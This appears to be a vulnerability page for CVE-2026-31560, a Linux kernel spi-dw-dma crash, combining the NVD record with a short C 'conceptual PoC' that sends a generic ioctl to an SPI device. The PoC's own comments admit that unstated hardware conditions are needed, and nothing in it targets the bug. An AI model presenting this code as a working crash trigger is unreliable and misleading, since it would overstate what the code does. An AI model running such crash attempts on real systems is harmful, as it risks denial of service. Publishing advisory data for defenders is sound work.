CVE-2026-31560

/* * PoC for CVE-2026-31560: Linux Kernel spi-dw-dma Crash * This is a conceptual PoC to trigger the error path. * Compile: gcc -o poc_spi poc_spi.c */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/spi/spidev.h> int main() { int fd; const char *device = "/dev/spidev0.0"; // Open the SPI device fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open SPI device"); return 1; } // Setup a transfer that might induce the error condition // Specific hardware manipulation is required to trigger the exact path struct spi_ioc_transfer xfer; memset(&xfer, 0, sizeof(xfer)); // Set arbitrary length and speed xfer.len = 1024; xfer.speed_hz = 1000000; xfer.bits_per_word = 8; // Attempt the transfer // On vulnerable systems with specific hardware states, // this may trigger the wait_finish_trans error path. int ret = ioctl(fd, SPI_IOC_MESSAGE(1), &xfer); if (ret < 0) { perror("SPI ioctl failed"); } close(fd); printf("PoC executed. Check kernel logs for crash.\n"); return 0; }

{"cve": {"id": "CVE-2026-31560", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:30.403", "lastModified": "2026-04-27T20:30:03.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: spi-dw-dma: fix print error log when wait finish transaction\n\nIf an error occurs, the device may not have a current message. In this\ncase, the system will crash.\n\nIn this case, it's better to use dev from the struct ctlr (struct spi_controller*)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.1", "versionEndExcluding": "6.19.11", "matchCriteriaId": "CE5C168D-744C-4BAC-8555-6A27E3391430"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "0E2DC66F-4A95-475F-B8B6-191DEC1E7EF6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/184f5aaf72f1f1c73e66bae0b8d28e81c2f2a72f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3b46d61890632c8f8b117147b6923bff4b42ccb7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}